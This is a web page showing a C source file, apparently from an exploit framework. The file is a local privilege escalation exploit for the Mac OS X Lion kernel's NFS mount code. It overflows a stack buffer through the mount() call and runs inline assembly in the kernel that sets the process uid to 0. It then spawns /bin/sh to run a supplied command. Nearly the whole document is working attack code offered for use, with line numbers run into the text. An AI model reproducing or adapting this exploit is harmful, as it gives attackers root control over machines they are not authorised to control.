Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/osx/nfs_mount_priv_escalation.c
Views: 11766
/*1* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit2* CVE None3* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>4*5*6* Notes:7* This exploit leverage a stack overflow vulnerability to escalate privileges.8* The vulnerable function nfs_convert_old_nfs_args does not verify the size9* of a user-provided argument before copying it to the stack. As a result by10* passing a large size, a local user can overwrite the stack with arbitrary11* content.12*13* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)14* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)15*16* Greets to taviso, spender, joberheide17*/1819#include <stdio.h>20#include <stdlib.h>21#include <strings.h>22#include <errno.h>23#include <sys/mman.h>24#include <sys/mount.h>25#include <sys/param.h>26#include <sys/stat.h>27#include <sys/types.h>28#include <unistd.h>2930/** change these to fit your environment if needed **/31#define SSIZE (536)3233/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/34struct user_nfs_args {35int version; /* args structure version number */36char* addr __attribute__((aligned(8))); /* file server address */37int addrlen; /* length of address */38int sotype; /* Socket type */39int proto; /* and Protocol */40char * fh __attribute__((aligned(8))); /* File handle to be mounted */41int fhsize; /* Size, in bytes, of fh */42int flags; /* flags */43int wsize; /* write size in bytes */44int rsize; /* read size in bytes */45int readdirsize; /* readdir size in bytes */46int timeo; /* initial timeout in .1 secs */47int retrans; /* times to retry send */48int maxgrouplist; /* Max. size of group list */49int readahead; /* # of blocks to readahead */50int leaseterm; /* obsolete: Term (sec) of lease */51int deadthresh; /* obsolete: Retrans threshold */52char* hostname __attribute__((aligned(8))); /* server's name */53/* NFS_ARGSVERSION 3 ends here */54int acregmin; /* reg file min attr cache timeout */55int acregmax; /* reg file max attr cache timeout */56int acdirmin; /* dir min attr cache timeout */57int acdirmax; /* dir max attr cache timeout */58/* NFS_ARGSVERSION 4 ends here */59uint auth; /* security mechanism flavor */60/* NFS_ARGSVERSION 5 ends here */61uint deadtimeout; /* secs until unresponsive mount considered dead */62};6364/** sets the uid for the current process and safely exits from the kernel**/65static void r00t_me() {66asm(67// padding68"nop; nop; nop; nop;"6970// task_t %rax = current_task()71"movq %%gs:0x00000008, %%rax;"72"movq 0x00000348(%%rax), %%rax;"7374// proc %rax = get_bsdtask_info()75"movq 0x000002d8(%%rax),%%rax;"7677// ucred location at proc78"movq 0x000000d0(%%rax),%%rax;"7980// uid = 081"xorl %%edi, %%edi;"82"movl %%edi, 0x0000001c(%%rax);"83"movl %%edi, 0x00000020(%%rax);"8485// fix the stack pointer and return (EACCES)86"movq $13, %%rax;"87"addq $0x00000308,%%rsp;"88"popq %%rbx;"89"popq %%r12;"90"popq %%r13;"91"popq %%r14;"92"popq %%r15;"93"popq %%rbp;"94"ret;"95:::"%rax"96);97}9899int main(int argc, char ** argv) {100struct user_nfs_args xdrbuf;101char * path;102char obuf[SSIZE];103104105/** clear the arguments **/106memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));107memset(obuf, 0x00, SSIZE);108109/** set up variable to get path to vulnerable code **/110xdrbuf.version = 3;111xdrbuf.hostname = "localhost";112xdrbuf.addrlen = SSIZE;113xdrbuf.addr = obuf;114115/** set ret address **/116*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);117printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);118119/** create a unique tmp name **/120if ((path = tmpnam(NULL)) == NULL) {121// path can be any directory which we have read/write/exec access122// but I'd much rather create one instead of searching for one123perror("[-] tmpnam");124exit(EXIT_FAILURE);125}126127/** make the path in tmp so that we can use it **/128if (mkdir(path, 0660) < 0) {129perror("[-] mkdir");130exit(EXIT_FAILURE);131}132133/** inform the user that the path was created **/134printf("[*] created sploit path%s\n", path);135136/** call the vulnerable function **/137if (mount("nfs", path, 0, &xdrbuf) < 0) {138if (errno == EACCES) {139puts("[+] escalating privileges...");140} else {141perror("[-] mount");142}143144}145146/** clean up tmp dir **/147if (rmdir(path) < 0) {148perror("[-] rmdir");149}150151/** check if privs are equal to root **/152if (getuid() != 0) {153puts("[-] priviledge escalation failed");154exit(EXIT_FAILURE);155}156157/** get root shell **/158printf("[+] We are now uid=%i ... your welcome!\n", getuid());159printf("[+] Dropping a shell.\n");160161/** execute **/162execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);163return 0;164}165166167